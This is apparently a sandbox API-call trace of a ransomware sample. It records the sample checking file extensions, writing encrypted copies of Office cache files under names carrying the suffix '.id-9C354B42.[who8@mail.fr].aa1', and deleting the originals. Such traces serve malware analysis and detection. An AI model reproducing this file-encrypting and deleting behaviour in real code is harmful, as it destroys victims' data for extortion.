lstrlenW (lpString=".rar") returned 4 [0214.333] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0214.333] lstrlenW (lpString=".bz2") returned 4 [0214.333] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0214.333] lstrlenW (lpString=".7z") returned 3 [0214.333] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0214.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0214.334] lstrlenW (lpString=".dbf") returned 4 [0214.334] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0214.693] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0214.693] lstrlenW (lpString=".1cd") returned 4 [0214.693] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0214.693] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0214.693] lstrlenW (lpString=".jpg") returned 4 [0214.693] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0214.694] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0214.694] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0214.694] lstrlenW (lpString=".doc") returned 4 [0214.694] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0214.694] lstrlenW (lpString=".docx") returned 5 [0214.694] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0214.694] lstrlenW (lpString=".pdf") returned 4 [0214.694] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0214.694] lstrlenW (lpString=".xls") returned 4 [0214.694] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0214.694] lstrlenW (lpString=".xlsx") returned 5 [0214.694] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0214.694] lstrlenW (lpString=".ppt") returned 4 [0214.694] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0214.694] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0214.694] lstrlenW (lpString=".zip") returned 4 [0214.694] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0214.694] lstrlenW (lpString=".rar") returned 4 [0214.694] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0214.694] lstrlenW (lpString=".bz2") returned 4 [0214.694] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0214.694] lstrlenW (lpString=".7z") returned 3 [0214.694] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0214.694] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0214.694] lstrlenW (lpString=".dbf") returned 4 [0214.694] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0214.694] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0214.695] lstrlenW (lpString=".1cd") returned 4 [0214.695] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0214.695] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0214.695] lstrlenW (lpString=".jpg") returned 4 [0214.695] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0214.695] lstrcmpiW (lpString1=".dll", lpString2=".aa1") returned 1 [0214.695] lstrlenW (lpString="dwintl20.dll") returned 12 [0214.695] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0214.695] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=107912) returned 1 [0214.695] CloseHandle (hObject=0x1e4) returned 1 [0214.696] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll")) returned 0x2020 [0214.696] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0214.696] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0214.696] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.696] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.696] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0214.968] GetLastError () returned 0x0 [0214.968] ReadFile (in: hFile=0x1e4, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x1a588, lpOverlapped=0x0) returned 1 [0214.971] WriteFile (in: hFile=0x170, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0x1a590, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x1a590, lpOverlapped=0x0) returned 1 [0214.973] ReadFile (in: hFile=0x1e4, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0214.973] WriteFile (in: hFile=0x170, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0214.973] SetEndOfFile (hFile=0x170) returned 1 [0214.973] CloseHandle (hObject=0x170) returned 1 [0214.974] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.974] SetEndOfFile (hFile=0x1e4) returned 1 [0214.975] CloseHandle (hObject=0x1e4) returned 1 [0214.975] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0214.975] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll")) returned 1 [0214.976] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0214.976] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0214.976] lstrlenW (lpString=".doc") returned 4 [0214.976] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0214.976] lstrlenW (lpString=".docx") returned 5 [0214.976] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0214.976] lstrlenW (lpString=".pdf") returned 4 [0214.976] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0214.976] lstrlenW (lpString=".xls") returned 4 [0214.976] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0214.976] lstrlenW (lpString=".xlsx") returned 5 [0214.976] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0214.976] lstrlenW (lpString=".ppt") returned 4 [0214.976] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0214.976] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0214.976] lstrlenW (lpString=".zip") returned 4 [0214.976] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0214.976] lstrlenW (lpString=".rar") returned 4 [0214.976] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0214.976] lstrlenW (lpString=".bz2") returned 4 [0214.976] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0214.976] lstrlenW (lpString=".7z") returned 3 [0214.976] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0214.976] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0214.976] lstrlenW (lpString=".dbf") returned 4 [0214.976] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0214.976] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0214.976] lstrlenW (lpString=".1cd") returned 4 [0214.976] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0214.976] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0214.976] lstrlenW (lpString=".jpg") returned 4 [0214.977] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0214.977] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0214.977] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0214.977] lstrlenW (lpString=".doc") returned 4 [0214.977] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0214.977] lstrlenW (lpString=".docx") returned 5 [0214.977] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0214.977] lstrlenW (lpString=".pdf") returned 4 [0214.977] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0214.977] lstrlenW (lpString=".xls") returned 4 [0214.977] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0214.977] lstrlenW (lpString=".xlsx") returned 5 [0214.977] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0214.977] lstrlenW (lpString=".ppt") returned 4 [0214.977] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0214.977] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0214.977] lstrlenW (lpString=".zip") returned 4 [0214.977] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0214.977] lstrlenW (lpString=".rar") returned 4 [0214.977] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0214.977] lstrlenW (lpString=".bz2") returned 4 [0214.977] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0214.977] lstrlenW (lpString=".7z") returned 3 [0214.977] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0214.977] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0214.977] lstrlenW (lpString=".dbf") returned 4 [0214.977] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0214.977] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0214.977] lstrlenW (lpString=".1cd") returned 4 [0214.977] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0214.977] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0214.977] lstrlenW (lpString=".jpg") returned 4 [0214.978] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0214.978] lstrcmpiW (lpString1=".manifest", lpString2=".aa1") returned 1 [0214.978] lstrlenW (lpString="Microsoft.VC90.CRT.manifest") returned 27 [0214.978] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0214.978] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=1857) returned 1 [0214.978] CloseHandle (hObject=0x1e4) returned 1 [0214.978] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest")) returned 0x2020 [0214.978] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0214.978] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0214.978] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.978] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.978] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0214.979] GetLastError () returned 0x0 [0214.979] ReadFile (in: hFile=0x1e4, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x741, lpOverlapped=0x0) returned 1 [0217.425] WriteFile (in: hFile=0x170, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x750, lpOverlapped=0x0) returned 1 [0217.426] ReadFile (in: hFile=0x1e4, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.426] WriteFile (in: hFile=0x170, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x10a, lpOverlapped=0x0) returned 1 [0217.426] SetEndOfFile (hFile=0x170) returned 1 [0217.427] CloseHandle (hObject=0x170) returned 1 [0217.427] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.427] SetEndOfFile (hFile=0x1e4) returned 1 [0217.428] CloseHandle (hObject=0x1e4) returned 1 [0217.428] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0217.428] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest")) returned 1 [0217.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0217.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0217.428] lstrlenW (lpString=".doc") returned 4 [0217.428] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0217.428] lstrlenW (lpString=".docx") returned 5 [0217.428] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0217.428] lstrlenW (lpString=".pdf") returned 4 [0217.428] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0217.428] lstrlenW (lpString=".xls") returned 4 [0217.428] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0217.429] lstrlenW (lpString=".xlsx") returned 5 [0217.429] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0217.429] lstrlenW (lpString=".ppt") returned 4 [0217.429] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0217.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0217.429] lstrlenW (lpString=".zip") returned 4 [0217.429] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0217.429] lstrlenW (lpString=".rar") returned 4 [0217.429] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0217.429] lstrlenW (lpString=".bz2") returned 4 [0217.429] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0217.429] lstrlenW (lpString=".7z") returned 3 [0217.429] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0217.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0217.429] lstrlenW (lpString=".dbf") returned 4 [0217.429] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0217.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0217.429] lstrlenW (lpString=".1cd") returned 4 [0217.429] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0217.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0217.429] lstrlenW (lpString=".jpg") returned 4 [0217.429] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0217.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0217.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0217.429] lstrlenW (lpString=".doc") returned 4 [0217.429] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0217.429] lstrlenW (lpString=".docx") returned 5 [0217.429] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0217.429] lstrlenW (lpString=".pdf") returned 4 [0217.429] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0217.429] lstrlenW (lpString=".xls") returned 4 [0217.430] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0217.430] lstrlenW (lpString=".xlsx") returned 5 [0217.430] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0217.430] lstrlenW (lpString=".ppt") returned 4 [0217.430] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0217.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0217.430] lstrlenW (lpString=".zip") returned 4 [0217.430] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0217.430] lstrlenW (lpString=".rar") returned 4 [0217.430] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0217.430] lstrlenW (lpString=".bz2") returned 4 [0217.430] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0217.430] lstrlenW (lpString=".7z") returned 3 [0217.430] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0217.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0217.430] lstrlenW (lpString=".dbf") returned 4 [0217.430] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0217.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0217.430] lstrlenW (lpString=".1cd") returned 4 [0217.430] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0217.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0217.430] lstrlenW (lpString=".jpg") returned 4 [0217.430] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0217.430] lstrcmpiW (lpString1=".cab", lpString2=".aa1") returned 1 [0217.430] lstrlenW (lpString="OfficeLR.cab") returned 12 [0217.430] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0217.431] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=14127746) returned 1 [0217.431] CloseHandle (hObject=0x1e4) returned 1 [0217.431] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab")) returned 0x2020 [0217.431] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0217.431] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0217.432] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0217.432] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0x0) returned 1 [0217.432] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0217.432] ReadFile (in: hFile=0x1e4, lpBuffer=0x3950058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3950058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0218.448] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0218.448] ReadFile (in: hFile=0x1e4, lpBuffer=0x3990058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3990058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0218.806] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0218.806] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0xd39282, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0218.806] ReadFile (in: hFile=0x1e4, lpBuffer=0x39d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x39d0058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0219.763] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.763] WriteFile (in: hFile=0x1e4, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2d9fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0219.783] SetEndOfFile (hFile=0x1e4) returned 1 [0219.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3fd40a8 [0219.786] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0219.786] WriteFile 